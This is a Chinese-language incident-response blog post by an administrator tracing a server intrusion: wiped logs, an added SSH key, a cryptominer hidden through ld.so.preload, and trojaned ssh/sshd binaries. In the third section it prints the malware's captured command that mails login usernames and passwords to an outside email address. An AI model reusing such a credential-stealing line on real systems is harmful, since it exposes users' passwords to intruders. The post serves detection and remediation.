與入侵者的鬥爭
剛入職新公司,聽同事說過公司有伺服器中過挖礦病毒,當時沒有特別在意
文中出現的xxx 和 yyy 都是在打賽克
1. 初次接觸
日期:x月15日
早上收到伺服器報警,提示/etc/passwd檔案被修改。
登入伺服器出現host key被修改提示;
檢查伺服器上last和history 記錄被清空;
/var/log/secure被清空;
/var/log/messages被清空;
.ssh/authorized_keys 被新增未知 pub key。
基於以上判斷:伺服器被入侵了。
採取措施:
- 修改了涉及所有伺服器的密碼
- 清除了ssh pub key
- 檢查異常程序(未發現)
- 檢查定時任務(未發現)
2. 發現cpu利用率高
日期:x月20日
發現多個伺服器cpu usr利用率 長期90%以上。
- 檢查程序,卻未發現佔用cpu高的程序;
- 檢查網路連線,發現一個異常連線,但是沒有對應pid ;
ESTAB0010.3.x.x:480021xx.2xx.1xx.1xx:443
- 懷疑是中了挖礦病毒程式,並隱藏了程序;
- 從正常伺服器上覆制 ps netstat等命令檔案到此伺服器上,執行後仍無法檢視到程序;
- 發現伺服器檔案/etc/ld.so.preload,該檔案載入了某個異常的so檔案,會導致伺服器命令(ps\netstat\top )無法檢視到挖礦程序,刪除該檔案;
- 重新檢視程序,發現挖礦程序為 ‘wipefs’、手動kill掉該程序,cpu利用率恢復
ps -ef |grep wipefs root70251 99 Xxx 15 ?19-10:42:00 /usr/lib64/-l/.db/wipefs --library-path /usr/lib64/-l/.db /usr/lib64/-l/.db/x
3. 獲取密碼
日期:x+1月7日
又發現伺服器運行了挖礦程式wipefs
- 檢查伺服器日誌發現相關資訊再次被清除
- 從一個被遺漏的messages日誌中,發現其控制了某個測試伺服器作為跳板
- 日誌檔案中記錄登入方式是密碼,一次性成功(好奇怪啊,沒有暴力破解)
- 考慮到事情比較嚴重,部署了ofollow,noindex">安全監測指令碼
- 從掃描的結果來看
usr/lib/httpds: Win.Trojan.Tsunami-5 FOUND ----------- SCAN SUMMARY ----------- Known viruses: 6677493 Engine version: 0.100.1 Scanned directories: 11867 Scanned files: 95647 Infected files: 1 Data scanned: 7709.03 MB Data read: 34049.43 MB (ratio 0.23:1) Time: 3318.450 sec (55 m 18 s)
---------------------- Start Rootkit Hunter Scan ---------------------- Warning: Package manager verification has failed: File: /usr/sbin/sshd The file hash value has changed The file size has changed The file modification time has changed Warning: Package manager verification has failed: File: /usr/bin/ssh The file hash value has changed The file size has changed The file modification time has changed
- 中了木馬病毒,同時發現對應cron job和程序
- ssh和sshd都被修改
- 進一步分析sshd的行為:strace -p <sshd pid >,然後測試使用使用者名稱和密碼登入
# 發現其有呼叫mail 傳送郵件 echo pass_from: 10.3.x.x user:xxx pass: yyyy |mail -s "Salut sefu, am moutati" [email protected]
這就找到了為什麼密碼沒有暴力破解就被獲取到了(此前一度懷疑公司有內鬼,當然現在也沒排除這個可能)
那麼protonmail.com郵箱到底是怎麼樣的郵箱系統呢?
從官方介紹來看,摘取如下兩點:
ProtonMail is incorporated in Switzerland and all our servers are located in Switzerland. This means all user data is protected by strict Swiss privacy laws.
No personal information is required to create your secure email account. By default, we do not keep any IP logs which can be linked to your anonymous email account. Your privacy comes first.
基本上可以認定為入侵者的必備郵件系統,網上也可查詢到有的勒索病毒也使用此郵箱。